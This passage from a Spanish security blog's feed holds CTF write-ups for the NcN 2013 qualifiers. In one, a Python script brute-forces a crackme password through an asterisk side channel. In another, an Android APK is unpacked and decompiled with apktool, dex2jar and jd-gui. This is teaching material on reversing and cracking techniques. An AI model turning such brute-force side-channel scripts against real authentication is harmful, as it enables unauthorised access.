&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;getchar(0, 21505, 51729, -1, 0x603440) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 120&lt;/i&gt;&lt;br /&gt;&lt;i&gt;tcsetattr(0, 0, 0x00603400) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/i&gt;&lt;br /&gt;&lt;i&gt;fputc(&#39;\n&#39;, 0x7f279f827260&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Tampoco aparece nada, así que una de dos, o el programador está comparando carácter a carácter (algo coherente con el funcionamiento que hemos visto antes) o se ha implementado su propia versión de comparador de cadenas. Vamos a suponer lo primero y vamos a hacer una pequeña prueba: Vamos a hacer un pequeño script en python que pruebe todos los posibles valores ascii para el primer elemento, y vamos a pegar un vistazo a ojo a ver si hay algún cambio en la salida:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cat test.py&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;#!/usr/bin/python&lt;/i&gt;&lt;br /&gt;&lt;i&gt;import os&lt;/i&gt;&lt;br /&gt;&lt;i&gt;for c in xrange(1,255):&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;cmd = &#39;echo &#39;+str(c)+&#39; ; echo &quot;&#39;+str(chr(c))+&#39;&quot; | ./level.elf&#39;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;os.system(cmd)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;python test.py&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;i&gt;31&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;Type to win, only what I want to read...&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;|&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;-&amp;gt; I DON&#39;T THINK SO&lt;/i&gt;&lt;br /&gt;&lt;i&gt;32&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;Type to win, only what I want to read...&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;*&lt;/i&gt;&lt;br /&gt;&lt;i&gt;|&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;-&amp;gt; I DON&#39;T THINK SO&lt;/i&gt;&lt;br /&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Vaya! Parece que sí que hay algo que cambia! Cuando probamos con el carácter 32 (0x20, vamos, el espacio) la salida nos marca con un asterisco, como señalando que hemos marcado un carácter bien, aunque nos sigue diciendo &quot;I DON&#39;T THINK SO&quot;, que nos hace ver que aún nos quedan caracteres por meter. Asumiendo que cada vez que acertemos otro carácter tendremos un asterisco más, y que esa frase de &quot;I DON&#39;T THINK SO&quot; desaparecerá una vez obtengamos la solución, nos hacemos otro script en python para que nos automatice un poco la tarea:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cat bruteforce.py&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;#!/usr/bin/python&lt;/i&gt;&lt;br /&gt;&lt;i&gt;import subprocess&lt;/i&gt;&lt;br /&gt;&lt;i&gt;password = &quot;&quot;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;for l in xrange(1,20):&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for c in xrange(1,255):&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if c == 34:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; continue&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; temp_pass = password + chr(c)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; result = subprocess.check_output(&#39;echo \&quot;&#39;+temp_pass+&#39;\&quot; | ./level.elf&#39;, shell=True)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if &quot;I DON&#39;T THINK SO&quot; not in result:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print temp_pass&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print result&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; n = result.count(&#39;*&#39;)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if n == l:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print temp_pass&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; password = password + chr(c)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hacemos un bucle de longitudes de 1 a 20 (podríamos poner más), y para cada posición probamos todos los posibles valores ascii y analizamos el resultado. Si la cantidad de caracteres asterisco es igual a la longitud de la clave que habíamos probado, es que es que hemos acertado, y sino tenemos que probar con el siguiente. Además, si la frase &quot;I DON&#39;T THINK SO&quot; desaparece del resultado, probablemente hemos encontrado la contraseña correcta y tendremos la solución. Vamos a ver si funciona:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;time ./bruteforce.py&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;S&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SU&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SUR&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURP&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURPR&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURPRI&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURPRIS&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURPRISE&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;SURPRISE!&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;Type to win, only what I want to read...&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;&amp;gt; &amp;nbsp;**********&lt;/i&gt;&lt;br /&gt;&lt;i&gt;|&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;-&amp;gt; Congratulations! The key is:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;| &amp;nbsp;9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;i&gt;real &amp;nbsp; &amp;nbsp;0m7.179s&lt;/i&gt;&lt;br /&gt;&lt;i&gt;user &amp;nbsp; &amp;nbsp;0m0.772s&lt;/i&gt;&lt;br /&gt;&lt;i&gt;sys &amp;nbsp; &amp;nbsp; 0m4.316s&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Bingo! Parece que ya tenemos el tercer flag :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Este reto había muchas maneras de resolverlo. En este caso, como no soy persona que se dedique a hacer reversing a diario, me resultaba más cómoda esta aproximación, pero quise probar también a ver como lo podría haber resuelto arrancando el debugger y viéndole las tripas al binario, por eso he llamado a este post &quot;a&quot;, porque falta la solución &quot;b&quot;, con debugger.&lt;/div&gt;</description><link>http://www.pentester.es/2013/11/ncn-prequals-2013-reto-3-a.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-617558473782661868</guid><pubDate>Thu, 07 Nov 2013 06:30:00 +0000</pubDate><atom:updated>2013-11-07T07:30:00.283+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">NocONName</category><title>NcN PreQuals 2013: Reto 2</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Ayer veíamos la solución al &lt;a href=&quot;http://www.pentester.es/2013/11/ncn-prequals-2013-reto-1.html&quot; target=&quot;_blank&quot;&gt;reto 1 de las prequals del CTF de la NocONName de 2013&lt;/a&gt;, así que hoy vamos a ir con la solución del reto 2. Este reto consistía en una aplicación para Android (APK) de la que no se nos daba mucha más información.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lo primero que intenté fue instalarla en el emulador, pero esta se cerraba nada más intentar arrancarla. Intenté lo mismo con un par de dispositivos físicos pero obtuve el mismo resultado. Tras intentar hacer cambios en el código a nivel smali (eso para otro post) para intentar arreglar los errores, pensando que era parte del reto, al final pensé en pegarle un vistazo al código antes de seguir por ese camino, no fuera que sea un código no ofuscado y sencillo de leer y no esté haciendo más que perder tiempo intentando ejecutarlo. Así que vamos a ello, a desempaquetar:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;apktool d level.apk levelapk_apktool&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Este comando, si tenemos instaladas las &lt;a href=&quot;https://code.google.com/p/android-apktool/&quot; target=&quot;_blank&quot;&gt;apktools&lt;/a&gt;, nos creará un directorio &quot;levelapk_apktool&quot; con todo el contenido del APK. Vamos a pegarle un vistazo al AndroidManifest.xml a ver cual es la MainActivity para ver por donde tenemos que empezar a buscar:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cat levelapk_apktool/AndroidManifest.xml&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;manifest android:versionCode=&quot;1&quot; android:versionName=&quot;1.0&quot; package=&quot;com.facebook_ctf.challenge&quot;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;uses-sdk android:minSdkVersion=&quot;8&quot; android:targetSdkVersion=&quot;15&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;application android:theme=&quot;@style/AppTheme&quot; android:label=&quot;@string/app_name&quot; android:icon=&quot;@drawable/ic_launcher&quot;&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;&lt;b&gt;activity android:label=&quot;@string/title_activity_main&quot; android:name=&quot;com.facebook_ctf.challenge.MainActivity&quot;&lt;/b&gt;&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;intent-filter&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;action android:name=&quot;android.intent.action.MAIN&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;/intent-filter&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;/activity&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;activity android:label=&quot;@string/title_activity_main&quot; android:name=&quot;com.facebook_ctf.challenge.MainActivity&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;/application&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;/manifest&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ya sabemos que el inicio de todo se encuentra en &quot;&lt;b&gt;com.facebook_ctf.challenge.MainActivity&lt;/b&gt;&quot;. Ahora podríamos irnos al directorio &quot;smali&quot; y bucear hasta esa función, pero a mi me resulta más sencillo extraer el dex y decompilarlo con alguna herramienta como jd-gui. Para ello tendremos que extraer el APK de otra forma, simplemente haciendo un unzip:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;mkdir levelapk_unzip&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cp level.apk levelapk_unzip/&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;cd levelapk_unzip&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;unzip level.apk&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Tras hacer el unzip veremos que tenemos un fichero classes.dex . Este fichero no puede ser abierto directamente con &lt;a href=&quot;http://jd.benow.ca/&quot; target=&quot;_blank&quot;&gt;jd-gui&lt;/a&gt;, pero podemos transformarlo en un JAR de forma sencilla con la herramienta &lt;a href=&quot;https://code.google.com/p/dex2jar/&quot; target=&quot;_blank&quot;&gt;dex2jar&lt;/a&gt;:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;d2j-dex2jar.sh classes.dex&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;dex2jar classes.dex -&amp;gt; classes-dex2jar.jar&lt;/i&gt;&lt;br /&gt;&lt;i&gt;$ &lt;b&gt;mv classes-dex2jar.jar classes.jar&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ahora ya podemos irnos a &lt;a href=&quot;http://jd.benow.ca/&quot; target=&quot;_blank&quot;&gt;JD-GUI&lt;/a&gt; y buscar&amp;nbsp;&lt;span style=&quot;text-align: justify;&quot;&gt;&quot;com.facebook_ctf.challenge.MainActivity&quot; y sus funciones, particularmente el constructor y onCreate(), que es donde generalmente se inician las acciones:&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-O_X8aOor0G4/UnnwEfLTWlI/AAAAAAAABWQ/8mKdy35KkaM/s1600/001.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;220&quot; src=&quot;http://1.bp.blogspot.com/-O_X8aOor0G4/UnnwEfLTWlI/AAAAAAAABWQ/8mKdy35KkaM/s400/001.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;Como podemos ver, el onCreate() realiza una serie de acciones y acaba llamando a una función de su propia clase llamada &lt;b&gt;yaaaay()&lt;/b&gt;, que vamos a ver que pinta tiene:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-vkCSqFA__dA/UnnwgapSrhI/AAAAAAAABWY/ARmO-AZpFNc/s1600/002.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;110&quot; src=&quot;http://3.bp.blogspot.com/-vkCSqFA__dA/UnnwgapSrhI/AAAAAAAABWY/ARmO-AZpFNc/s400/002.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En la función yaaaay(), se comienza instanciando un montón de Bitmaps que se sacan de los recursos de la aplicación (todavía no sabemos que son). Luego se elige uno de ellos de forma aleatoria y se muestra. Por en medio de todo eso, aparece una función makeMeHappyAgain() a la que se le están pasando el resultado de otras funciones makeMeHappy() a las que a su vez se les pasa los Bitmaps que comentamos anteriormente. La llamada sería una cosa así:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;makeMeHappyAgain(&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; makeMeHappy( localBitmap1, localBitmap2, localBitmap3, localBitmap4 ),&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; makeMeHappy( localBitmap5, localBitmap6, localBitmap7, localBitmap8 ),&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; makeMeHappy( localBitmap9, localBitmap10, localBitmap11, localBitmap12 ),&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; makeMeHappy( localBitmap13, localBitmap14, localBitmap15, localBitmap16 )&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;);&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Vamos a ver entonces que hacen estas funciones que nos van a hacer tan felices :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-we-0QzRhjFQ/UnnxpMTK5hI/AAAAAAAABWk/YkR6Dc1vXlk/s1600/003.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;http://2.bp.blogspot.com/-we-0QzRhjFQ/UnnxpMTK5hI/AAAAAAAABWk/YkR6Dc1vXlk/s400/003.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Las funciones, como podéis ver, son casi iguales, ambas crean un nuevo bitmap y van pegando en él los otros bitmaps uno a continuación del otro. La única diferencia entre ambas funciones es que una lo hace en horizontal y la otra en vertical. Si volvemos a pensar en la llamada original, veremos que lo que está haciendo es coger todos los Bitmaps que había cargarlo y juntarlos todos en un solo Bitmap 4x4. Ese bitmap resultado... no va a ningún sitio!! La aplicación no hace nada con él, pero llegados a este punto seguro que la solución del reto iba por ahí, así que... vamos a ver, viendo que recurso estaba cargado en cada variable, como quedaría ese bitmap 4x4:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-fVBF2-H6LeY/Unn4TaUWa7I/AAAAAAAABW0/jqIx2XpKc70/s1600/004.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;http://3.bp.blogspot.com/-fVBF2-H6LeY/Unn4TaUWa7I/AAAAAAAABW0/jqIx2XpKc70/s400/004.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Pero... ¿cuales son estos recursos? Para saberlo tenemos que irnos a los ficheros de recursos de la aplicación a ver si encontramos estos mismos números, a ver que son:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;$ &lt;b&gt;cat levelapk-apktool/res/values/public.xml&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;i&gt;[...]&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;a&quot; id=&quot;0x7f040000&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;b&quot; id=&quot;0x7f040001&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;c&quot; id=&quot;0x7f040002&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;d&quot; id=&quot;0x7f040003&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;e&quot; id=&quot;0x7f040004&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;f&quot; id=&quot;0x7f040005&quot; /&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;i&gt;public type=&quot;raw&quot; name=&quot;g&quot; id=&quot;0x7f040006&quot; 